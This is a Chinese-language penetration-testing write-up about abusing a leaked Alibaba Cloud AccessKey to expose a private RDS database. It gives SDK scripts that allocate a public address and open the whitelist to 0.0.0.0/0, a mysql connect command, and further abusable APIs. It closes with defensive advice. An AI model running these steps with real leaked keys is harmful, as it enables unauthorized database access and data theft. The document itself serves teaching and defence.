云上渗透-RDS数据库攻防实战指南<\/h1>

前言<\/h2>
在云安全渗透测试中，当传统攻击路径受阻时，如何利用云服务特性进行突破是一个重要课题。本文详细记录了一次通过阿里云RDS数据库进行渗透的完整过程，涉及AccessKey利用、API操作、外网访问配置等关键技术点。<\/p>

信息收集阶段<\/h2>

关键配置信息获取<\/h3>

通过.git<\/code>目录泄露获取到网站源码后，发现以下关键配置信息：<\/p>

ACCESSKEYID=XXXXX
ACCESSKEYSECRET=XXXXX
ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx
<\/code><\/pre>
环境分析<\/h3>

数据库采用阿里云RDS服务<\/li>
RDS仅配置了内网地址(DBInstanceNetType=Intranet)<\/li>
3306端口对外不开放<\/li>
文件存储使用OSS服务<\/li>
传统攻击路径(如SQL注入、RCE等)不可行<\/li>
<\/ul>
利用过程详解<\/h2>
1. 利用AccessKey获取RDS信息<\/h3>
工具准备<\/strong>：

下载阿里云RDS命令行工具Rdscli：

https:\/\/market.aliyun.com\/products\/53690006\/cmgj000311.html#sku=mianfeiban<\/p>
关键命令<\/strong>：<\/p>
# 列出账户下所有RDS实例<\/span>
<\/span><\/span>rds DescribeDBInstances --PageSize 50<\/span>
<\/span><\/span>
<\/span><\/span># 导出特定实例详细信息<\/span>
<\/span><\/span>rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test
<\/span><\/span><\/code><\/pre>2. 申请RDS外网访问<\/h3>
通过阿里云API为RDS实例申请外网访问地址：<\/p>
API文档参考<\/strong>：

https:\/\/help.aliyun.com\/document_detail\/26234.html<\/p>
Python脚本示例<\/strong>：<\/p>
from<\/span> aliyunsdkcore.client import<\/span> AcsClient
<\/span><\/span>from<\/span> aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import<\/span> AllocateInstancePublicConnectionRequest
<\/span><\/span>
<\/span><\/span>client =<\/span> AcsClient('<accessKeyId>'<\/span>, '<accessSecret>'<\/span>, 'cn-beijing'<\/span>)
<\/span><\/span>
<\/span><\/span>request =<\/span> AllocateInstancePublicConnectionRequest()
<\/span><\/span>request.<\/span>set_accept_format('json'<\/span>)
<\/span><\/span>request.<\/span>set_DBInstanceId("DBInstanceId"<\/span>)
<\/span><\/span>request.<\/span>set_ConnectionStringPrefix("public_domain"<\/span>)
<\/span><\/span>request.<\/span>set_Port("3306"<\/span>)
<\/span><\/span>
<\/span><\/span>response =<\/span> client.<\/span>do_action_with_exception(request)
<\/span><\/span>print(str(response, encoding=<\/span>'utf-8'<\/span>))
<\/span><\/span><\/code><\/pre>3. 查询RDS连接信息<\/h3>
使用DescribeDBInstanceNetInfo API查询实例连接地址：<\/p>
from<\/span> aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import<\/span> DescribeDBInstanceNetInfoRequest
<\/span><\/span>
<\/span><\/span>request =<\/span> DescribeDBInstanceNetInfoRequest()
<\/span><\/span>request.<\/span>set_DBInstanceId("DBInstanceId"<\/span>)
<\/span><\/span>response =<\/span> client.<\/span>do_action_with_exception(request)
<\/span><\/span>print(str(response, encoding=<\/span>'utf-8'<\/span>))
<\/span><\/span><\/code><\/pre>返回结果示例：<\/p>
{
<\/span><\/span>    "DBInstanceNetInfos"<\/span>: {
<\/span><\/span>        "DBInstanceNetInfo"<\/span>: [
<\/span><\/span>            {
<\/span><\/span>                "IPType"<\/span>: "Public"<\/span>,
<\/span><\/span>                "Port"<\/span>: "3306"<\/span>,
<\/span><\/span>                "ConnectionString"<\/span>: "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com"<\/span>,
<\/span><\/span>                "IPAddress"<\/span>: "xxx.xxx.xxx.xxx"<\/span>
<\/span><\/span>            }
<\/span><\/span>        ]
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4. 配置RDS白名单<\/h3>
默认情况下RDS安全组会阻止所有外部访问，需要修改白名单：<\/p>
查询当前白名单<\/strong>：<\/p>
from<\/span> aliyunsdkrds.request.v20140815.DescribeDBInstanceIPArrayListRequest import<\/span> DescribeDBInstanceIPArrayListRequest
<\/span><\/span>
<\/span><\/span>request =<\/span> DescribeDBInstanceIPArrayListRequest()
<\/span><\/span>request.<\/span>set_DBInstanceId("rm-xxxxxxxxx"<\/span>)
<\/span><\/span>response =<\/span> client.<\/span>do_action_with_exception(request)
<\/span><\/span><\/code><\/pre>修改白名单允许所有IP<\/strong>：<\/p>
from<\/span> aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import<\/span> ModifySecurityIpsRequest
<\/span><\/span>
<\/span><\/span>request =<\/span> ModifySecurityIpsRequest()
<\/span><\/span>request.<\/span>set_DBInstanceId("rm-xxxxxxx"<\/span>)
<\/span><\/span>request.<\/span>set_SecurityIps("0.0.0.0\/0"<\/span>)
<\/span><\/span>response =<\/span> client.<\/span>do_action_with_exception(request)
<\/span><\/span><\/code><\/pre>5. 连接RDS数据库<\/h3>
完成上述配置后，即可使用获取到的外网地址和原始数据库凭据连接RDS：<\/p>
mysql -h rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com -u xxxx -p
<\/code><\/pre>
其他可利用的RDS API操作<\/h2>
通过AccessKey还可以执行以下关键操作：<\/p>

修改数据库密码(ResetAccountPassword<\/code>)<\/li>
重启RDS实例(RestartDBInstance<\/code>)<\/li>
创建数据库备份(CreateBackup<\/code>)<\/li>
修改实例规格(ModifyDBInstanceSpec<\/code>)<\/li>
创建新数据库账号(CreateAccount<\/code>)<\/li>
<\/ul>
完整API列表参考：

https:\/\/help.aliyun.com\/document_detail\/182821.html<\/p>
防御建议<\/h2>


AccessKey管理<\/strong>：<\/p>

避免使用主账户AccessKey<\/li>
为不同应用创建子账户AccessKey并限制权限<\/li>
定期轮换AccessKey<\/li>
<\/ul>
<\/li>

RDS安全配置<\/strong>：<\/p>

严格控制白名单IP范围，避免使用0.0.0.0\/0<\/li>
定期审计数据库访问权限<\/li>
启用数据库审计日志<\/li>
<\/ul>
<\/li>

代码安全<\/strong>：<\/p>

避免在代码中硬编码敏感信息<\/li>
使用环境变量或密钥管理服务存储凭据<\/li>
配置.gitignore避免敏感文件提交<\/li>
<\/ul>
<\/li>

监控告警<\/strong>：<\/p>

设置API调用异常告警<\/li>
监控RDS配置变更<\/li>
设置异地登录告警<\/li>
<\/ul>
<\/li>
<\/ol>
总结<\/h2>
本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护，强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。<\/p>

云上渗透-RDS数据库攻防实战指南<\/h1>

信息收集阶段<\/h2>

利用过程详解<\/h2>

总结<\/h2> 本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护，强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。<\/p>

总结<\/h2>
本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护，强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。<\/p>